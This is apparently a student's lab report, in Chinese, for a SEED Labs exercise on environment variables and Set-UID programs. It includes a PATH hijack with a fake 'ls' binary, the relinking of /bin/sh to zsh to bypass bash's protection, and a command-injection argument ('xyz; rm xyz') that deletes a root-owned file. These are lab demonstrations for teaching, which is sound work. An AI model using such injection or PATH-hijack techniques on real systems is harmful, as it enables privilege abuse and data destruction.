

# Lab1

## Environment Variable and Set-UID Program Lab

Author: 57119108 吴桐

Date: 2021.7.6

### Lab Tasks

#### Task 1: Manipulating Environment Variables

##### 1.1 Use printenv or env command to print out the environment variables.

打开 shell 输入 printenv 或 env，结果分别如图 1、2 所示。env 和 printenv 均可以打印当前系统的环境变量。

```
[07/06/21]seed@VM:~$ printenv
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/1535,unix/VM:/tmp/.ICE-unix/1535
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH_AGENT_PID=1462
GTK_MODULES=gail:atk-bridge
PWD=/home/seed
LOGNAME=seed
XDG_SESSION_DESKTOP=ubuntu
XDG_SESSION_TYPE=x11
GPG_AGENT_INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
XAUTHORITY=/run/user/1000/gdm/Xauthority
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
WINDOWPATH=2
```

图 1

```
[07/06/21]seed@VM:~$ env
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/1535,unix/VM:/tmp/.ICE-unix/1535
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH_AGENT_PID=1462
GTK_MODULES=gail:atk-bridge
PWD=/home/seed
LOGNAME=seed
XDG_SESSION_DESKTOP=ubuntu
XDG_SESSION_TYPE=x11
GPG_AGENT_INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
.....
```

图 2

## 1.2 Use export and unset to set or unset environment variables.

使用 `export` 添加 `TESTVAR` 和 `NEWTESTVAR` 两个变量。可以看到，如果仅仅是设置变量而不使用 `export` 将其加入环境变量中，使用 `printenv` 是无法显示该变量的。使用 `unset` 移除环境变量后，使用 `echo` 查看变量只能得到一行空输出（图 3）。

```
[07/06/21]seed@VM:~$ TESTVAR="This is a test variable"
[07/06/21]seed@VM:~$ echo TESTVAR
TESTVAR
[07/06/21]seed@VM:~$ echo $TESTVAR
This is a test variable
[07/06/21]seed@VM:~$ printenv TESTVAR
[07/06/21]seed@VM:~$ export TESTVAR
[07/06/21]seed@VM:~$ printenv TESTVAR
This is a test variable
[07/06/21]seed@VM:~$ export NEWTESTVAR="This is a new test variable"
[07/06/21]seed@VM:~$ printenv NEWTESTVAR
This is a new test variable
[07/06/21]seed@VM:~$ unset TESTVAR
[07/06/21]seed@VM:~$ echo $TESTVAR

[07/06/21]seed@VM:~$ unset NEWTESTVAR
[07/06/21]seed@VM:~$ echo $NEWTESTVAR
```

图 3

```
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

void printenv()
{
    int i = 0;
    while (environ[i] != NULL) {
        printf("%s\n", environ[i]);
        i++;
    }
}

void main()
{
    pid_t childPid;
    switch(childPid = fork()) {
        case 0: /* child process */
            printenv(); //1
            exit(0);
        default: /* parent process */
            //printenv(); //2
            exit(0);
    }
}
```

图 4

## Task 2: Passing Environment Variables from Parent Process to Child Process

编译运行 `lab1-2.c`（图 4），将保留行①版本的运行结果保存在 `child1` 中，将保留行②版本的运行结果保存在 `child2` 中。使用 `diff` 命令对 `child1` 和 `child2` 两个文件进行比较，可以看到，两个文件完全相同（图 5、6）。

```
[07/06/21]seed@VM:~/program$ gcc lab1-2.c -o lab1-2.out
[07/06/21]seed@VM:~/program$ lab1-2.out > child1
[07/06/21]seed@VM:~/program$ cat child1
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/1535,unix/VM:/tmp/.ICE-unix/1535
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
```

图 5

```
[07/06/21]seed@VM:~/program$ gcc lab1-2.c -o lab1-2.out
[07/06/21]seed@VM:~/program$ lab1-2.out > child2
[07/06/21]seed@VM:~/program$ diff child1 child2
[07/06/21]seed@VM:~/program$
```

图 6

`fork()` 是创建进程函数。程序一旦开始运行，就会产生一个进程，当执行到 `fork()` 时，就会创建一个子进程。此时父进程和子进程是共存的，它们会一起向下执行程序代码。通过修改 `printenv` 的执行位置，构造出 `child1`（子进程的环境变量）和 `child2`（父进程的环境变量）。可以明确的是，子进程会继承父进程的环境变量。

### Task 3: Environment Variables and execve()

编译运行 lab1-3.c (图 7), 结果如图 8。将 `execve("/usr/bin/env", argv, NULL)` 更改为 `execve("/usr/bin/env", argv, environ)` 后, 重新编译运行 lab1-3.c, 结果如图 9。

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
extern char **environ;
int main()
{
    char *argv[2];
    argv[0] = "/usr/bin/env";
    argv[1] = NULL;
    execve("/usr/bin/env", argv, NULL);
    return 0;
}
```

图 7

```
[07/06/21]seed@VM:~/program$ gcc lab1-3.c -o lab1-3.out
[07/06/21]seed@VM:~/program$ lab1-3.out
[07/06/21]seed@VM:~/program$
```

图 8

```
[07/06/21]seed@VM:~/program$ gcc lab1-3.c -o lab1-3.out
[07/06/21]seed@VM:~/program$ lab1-3.out
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/1535,unix/VM:/tmp/.ICE-unix/1535
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
```

图 9

可以看到, 后者成功输出了当前进程的环境变量, 而前者失败了。要理解为何出现这样的现象, 必须理解 `execve()` 函数。

`execve()` 函数接收三个参数: ①执行程序的路径; ②调用程序执行的参数序列; ③传入新程序的环境变量。若成功不返回, 失败返回-1。前者参数③传递的是 `NULL`, 所以打印为空。后者传递了外部环境变量数据给新程序, 因此打印出了当前环境变量。

## Task 4: Environment Variables and system()

编译运行实验教程提供的代码（lab1-4.c），结果如图 10。

```
[07/06/21]seed@VM:~/program$ gcc lab1-4.c -o lab1-4.out
[07/06/21]seed@VM:~/program$ lab1-4.out
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
LESSOPEN=| /usr/bin/lesspipe %s
USER=seed
SSH_AGENT_PID=1462
XDG_SESSION_TYPE=x11
SHLVL=1
HOME=/home/seed
OLDPWD=/home/seed
DESKTOP_SESSION=ubuntu
GNOME_SHELL_SESSION_MODE=ubuntu
GTK_MODULES=gail:atk-bridge
MANAGERPID=1254
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
COLORTERM=truecolor
```

图 10

本实验考察了对 system 函数实际运行情况的分析。

system 函数用于执行命令，但与 execve 函数直接执行命令不同，system 函数实际上执行“/bin/sh -c command”，即执行/bin/sh，再利用 shell 执行命令。

可以通过直接观察该函数源码（图 11）的方式了解 system 函数实际的调用方式与隐藏的参数传递。system 函数通过 execl() 不仅调用了/bin/sh，还将当前的环境变量数组传递给了 execve()。执行流程即 fork child\_process → child\_process: exec commandString → father\_process: wait child\_process exit。因此使用 system 函数输出的环境变量即为当前程序实际运行的环境变量。若执行成功返回子 shell 终止状态，fork() 失败返回-1。

```
1 int system(const char * cmdstring)
2 {
3     pid_t pid;
4     int status;
5
6     if(cmdstring == NULL)
7     {
8         return (1);
9     }
10
11     if ((pid = fork()) < 0)
12     {
13         status = -1;
14     }
15     else if (pid == 0)
16     {
17         execl("/bin/sh", "sh", "-c", cmdstring, (char *)0);
18         _exit(127);
19     }
20     else
21     {
22         while(waitpid(pid, &status, 0) < 0)
23         {
24             if(errno != EINTR)
25             {
26                 status = -1;
27                 break;
28             }
29         }
30     }
31     return status;
32 }
```

图 11

## Task 5: Environment Variable and Set-UID Programs

编译运行实验教程提供的代码（lab1-5.c），并给程序手动提权（图 12）。

```
[07/06/21]seed@VM:~/program$ gcc lab1-5.c -o lab1-5.out
[07/06/21]seed@VM:~/program$ ls -l lab1-5.out
-rwxrwxr-x 1 seed seed 16768 Jul  6 05:58 lab1-5.out
[07/06/21]seed@VM:~/program$ sudo chown root lab1-5.out
[07/06/21]seed@VM:~/program$ sudo chmod 4755 lab1-5.out
[07/06/21]seed@VM:~/program$ ls -l lab1-5.out
-rwsr-xr-x 1 root seed 16768 Jul  6 05:58 lab1-5.out
```

图 12

添加 PATH、LD\_LIBRARY\_PATH 和 ANY\_NAME(COCOT)环境变量，运行程序后可以看到 PATH 和 COCOT 下有 export 进去的./program（图 13、14），但是 LD\_LIBRARY\_PATH 并没有显示出来。

```
[07/06/21]seed@VM:~/program$ export PATH=$PATH:./program
[07/06/21]seed@VM:~/program$ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/program
[07/06/21]seed@VM:~/program$ export COCOT=$COCOT:/program
[07/06/21]seed@VM:~/program$ lab1-5.out
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/1535,unix/VM:/tmp/.ICE-unix/1535
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
COCOT=:/program
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH_AGENT_PID=1462
```

图 13

```
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr
r/local/games:/snap/bin:./program
GDMSESSION=ubuntu
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
OLDPWD=/home/seed
_=./lab1-5.out
```

图 14

原因在于 LD\_LIBRARY\_PATH 是 Linux 自带的用于指定查找动态链接库的环境变量，Linux 为了防止用户篡改 LD\_LIBRARY\_PATH 进行恶意破坏，在运行 Set-UID 程序时就会自动忽略 LD\_LIBRARY\_PATH 环境变量。我们给之前的 Set\_UID 程序“降权”，再次运行 lab1-5.out 即可观察到 LD\_LIBRARY\_PATH（图 15、16）。

```
[07/06/21]seed@VM:~/program$ sudo chmod 777 lab1-5.out
[07/06/21]seed@VM:~/program$ sudo chown seed lab1-5.out
[07/06/21]seed@VM:~/program$ ls -l lab1-5.out
-rwxrwxrwx 1 seed seed 16768 Jul  6 05:58 lab1-5.out
```

图 15

```
QT_IM_MODULE=ibus
LD_LIBRARY_PATH=:/program
XDG_RUNTIME_DIR=/run/user/1000
JOURNAL_STREAM=9:33634
XDG_DATA_DIRS=/usr/share/ubuntu:/usr/local/share:/usr/share:/var/lib/snapd/desktop
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr
r/local/games:/snap/bin:./program
GDMSESSION=ubuntu
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
OLDPWD=/home/seed
_=./lab1-5.out
```

图 16

## Task 6: The PATH Environment Variable and Set-UID Programs

编译运行实验教程提供的代码（lab1-6.c），并给程序手动提权。此时运行 lab1-6.out，程序调用了/bin/ls，显示正常（图 17）。

```
[07/06/21]seed@VM:~/program$ gcc lab1-6.c -o lab1-6.out
[07/06/21]seed@VM:~/program$ sudo chown root lab1-6.out
[07/06/21]seed@VM:~/program$ sudo chmod 4755 lab1-6.out
[07/06/21]seed@VM:~/program$ lab1-6.out
child1 lab1-2.c lab1-3.c lab1-4.c lab1-5.c lab1-6.c
child2 lab1-2.out lab1-3.out lab1-4.out lab1-5.out lab1-6.out
```

图 17

接下来我们要尝试复刻针对 Set-UID 程序中 system 函数的攻击。首先编写一个攻击文件（图 18），可以看到该程序就是 Task3 中给出的可以输出环境变量的程序。编译运行该程序，并将可执行程序名字命名为 ls。之后将当前目录添加至 PATH 之首，再次运行之前的 lab1-6.out，此时程序并没有像之前一样运行 /bin/ls，而是转而运行当前目录下构造的 ls（图 19）。

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
extern char **environ;
int main()
{
    char *argv[2];
    argv[0]="/usr/bin/env";
    argv[1]=NULL;
    execve("/usr/bin/env",argv,environ);
    return 0;
}
```

图 18

```
[07/06/21]seed@VM:~/program$ gcc ls.c -o ls
[07/06/21]seed@VM:~/program$ PATH=/home/seed/program:$PATH
[07/06/21]seed@VM:~/program$ lab1-6.out
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
LESSOPEN=| /usr/bin/lesspipe %s
USER=seed
SSH_AGENT_PID=1462
XDG_SESSION_TYPE=x11
COCOT=:/program
SHLV=1
HOME=/home/seed
OLDPWD=/home/seed
DESKTOP_SESSION=ubuntu
```

图 19

之所以会出现情况，是因为我们在运行 lab1-6.out 的时候，system 函数没有提供绝对路径，为了“千方百计”地完成程序执行，链接器会在环境变量中顺序寻找含有 ls 程序的目录。我们操作过程中，将当前目录添加到了 PATH 之首，使得当前目录下的 ls 程序在 PATH 中运行优先级高于之后的 /bin/ls/。这就导致链接器按照我们提供的“攻击目录”，找到了我们预先准备好的“攻击文件”。链接器寻找成功后就会链接并运行找到的目标文件。在 system 函数的内部机制的作用下，我们完成了对 Set-UID 程序的攻击。

## Task 8: Invoking External Programs Using system() versus execve()

编译运行实验教程提供的代码（lab1-8.c），并给程序手动提权（图 20）。

```
[07/06/21]seed@VM:~/program$ gcc lab1-8.c -o lab1-8.out
[07/06/21]seed@VM:~/program$ sudo chown root lab1-8.out
[07/06/21]seed@VM:~/program$ sudo chmod 4755 lab1-8.out
```

图 20

/bin/bash 有某种内在的保护机制可以阻止 Set-UID 机制的滥用，为了能够体验这种内在的保护级制出现之前的情形，我们打算使用另外一种 shell 程序——/bin/zsh。在一些 linux 的发行版中（Ubuntu），/bin/sh 实际上是 /bin/bash 的符号链接。为了使用 zsh，我们需要把 /bin/sh 链接到 /bin/zsh（图 21）。



```
[07/06/21]seed@VM:~/program$ sudo su
root@VM:/home/seed/program# cd /bin
root@VM:/bin# rm sh
root@VM:/bin# ln -s zsh sh
root@VM:/bin# exit
exit
```

图 21

之后我们将当前操作的文件夹所有者交给 **root**，并将权限设置为 **755**。在该文件夹下建立一个文档 **xyz**，在其中写入一些内容后，将文件权限提升至 **000**。首先，我们尝试仅使用 **cat** 读取 **xyz**，发现失败；运行 **lab1-8.out** 读取文件，结果显示成功读取。

接下来我们就要尝试对 **Set-UID** 程序中的 **system** 函数进行攻击。尝试直接移除 **xyz** 发现失败，因为此时文件夹属于 **root**，身为 **seed** 用户无法对其进行操作（如果文件夹属于 **seed**，即使文件夹内的文件权限为 **000**，**seed** 用户也可以直接将其删除）。我们在 **shell** 中输入

```
lab1-8.out "xyz; rm xyz"
```

回车运行后可以发现，**xyz** 文件被成功删除。此时我们完成了对 **Set-UID** 程序中的 **system** 函数的攻击，即利用其漏洞破坏系统的完整性（图 22）。

接下来我们要对比 **system** 和 **execve** 函数。将 **lab1-8.c** 中的 **system** 语句注释掉，换成 **execve** 语句。重新编译运行 **lab1-8.c**，并给程序手动提权。重复上述实验操作，可以发现这一次我们虽然可以通过 **lab1-8.c** 读取不可读的权限文件，但是没有办法删除 **xyz** 文件（图 23）。

```
[07/06/21]seed@VM:~$ sudo chown root program
[07/06/21]seed@VM:~$ sudo chmod 755 program
[07/06/21]seed@VM:~$ cd ./program
[07/06/21]seed@VM:~/program$ sudo touch xyz
[07/06/21]seed@VM:~/program$ sudo chmod 777 xyz
[07/06/21]seed@VM:~/program$ echo "hello world" > xyz
[07/06/21]seed@VM:~/program$ cat xyz
hello world
[07/06/21]seed@VM:~/program$ sudo chmod 000 xyz
[07/06/21]seed@VM:~/program$ cat xyz
cat: xyz: Permission denied
[07/06/21]seed@VM:~/program$ lab1-8.out xyz
hello world
[07/06/21]seed@VM:~/program$ rm xyz
rm: remove write-protected regular file 'xyz'? y
rm: cannot remove 'xyz': Permission denied
[07/06/21]seed@VM:~/program$ lab1-8.out "xyz;rm xyz"
hello world
[07/06/21]seed@VM:~/program$ lab1-8.out xyz
/bin/cat: xyz: No such file or directory
```

图 22

```
[07/06/21]seed@VM:~/program$ sudo gcc lab1-8.c -o lab1-8.out
[07/06/21]seed@VM:~/program$ sudo chown root lab1-8.out
[07/06/21]seed@VM:~/program$ sudo chmod 4755 lab1-8.out
[07/06/21]seed@VM:~/program$ sudo touch xyz
[07/06/21]seed@VM:~/program$ sudo chmod 777 xyz
[07/06/21]seed@VM:~/program$ sudo echo "hello world" > xyz
[07/06/21]seed@VM:~/program$ cat xyz
hello world
[07/06/21]seed@VM:~/program$ sudo chmod 000 xyz
[07/06/21]seed@VM:~/program$ cat xyz
cat: xyz: Permission denied
[07/06/21]seed@VM:~/program$ lab1-8.out xyz
hello world
[07/06/21]seed@VM:~/program$ lab1-8.out "xyz;rm xyz"
/bin/cat: 'xyz;rm xyz': No such file or directory
```

图 23

至于为什么会出现 `system` 版本的运行文件删除 `xyz` 成功，而 `execve` 版本的运行文件删除失败这种现象，是因为二者的内部实现逻辑不同。

在 Task4 中我们观察过 `system` 的源代码，可以发现 `system` 函调用了 `execel('/bin/sh', '-c', command, (char *)0)`，再加上可执行文件的 Set-UID 位有效，于是我们获得了一个 root 权限的子 shell，这是实现“删除”的第一个必要条件。第二个必要条件是我们给可执行文件提供了一个字符串“`xyz; rm xyz`”作为输入，可以看到拥有 root 权限的 shell 实际上执行了两条命令：“`/bin/cat xyz`”和“`rm xyz`”。这就是为什么我们会在屏幕上先观察到一行输出（`xyz` 的内容），之后再查找 `xyz` 文件时发现该文件已被删除。

`execve` 的实质调用过程：`sys_execve()` → `do_execve()` → `do_execve_common()` → `search_binary_handler()` → `start_thread()`，并不会默认调用 `/bin/sh`，因此不能利用管道搭起有 root 权限的子 shell，从而非法删除文件（本质上只能运行 `/bin/cat` 这一个命令）。

## Summary

通过本次实验，我对环境变量和 Set-UID 机制有了一个初步的认知。环境变量（environment variables）是指在操作系统中用来指定操作系统运行环境的一些参数，它包含了一个或者多个应用程序所将使用到的信息。环境变量是操作系统中极其重要的一部分，但是由于我们的忽视，经常会引发致命的系统漏洞。本次实验由浅入深，从简单的输出环境变量，到利用 Set-UID 程序对系统进行“攻击尝试”，从实践角度帮助我深入理解环境变量和 Set-UID 程序。除此之外，我还了解了环境变量如何从父进程传递到子进程，以及它们如何影响系统/程序的行为。

Task8 存在一个隐藏的问题：`seed` 用户可以在 `seed` 拥有的文件夹下“为所欲为”，只有在 `root` 拥有的文件夹下才能创建出 `seed` 无法删除的文件；其次，要“解除”系统内部的保护机制，否则复刻 Set-UID 程序的攻击。

本次实验带给我最深的感触就是：实践确实是教学中不可取少的一部分，但是对实践背后的理论也要有深入理解，绝不能浅尝辄止。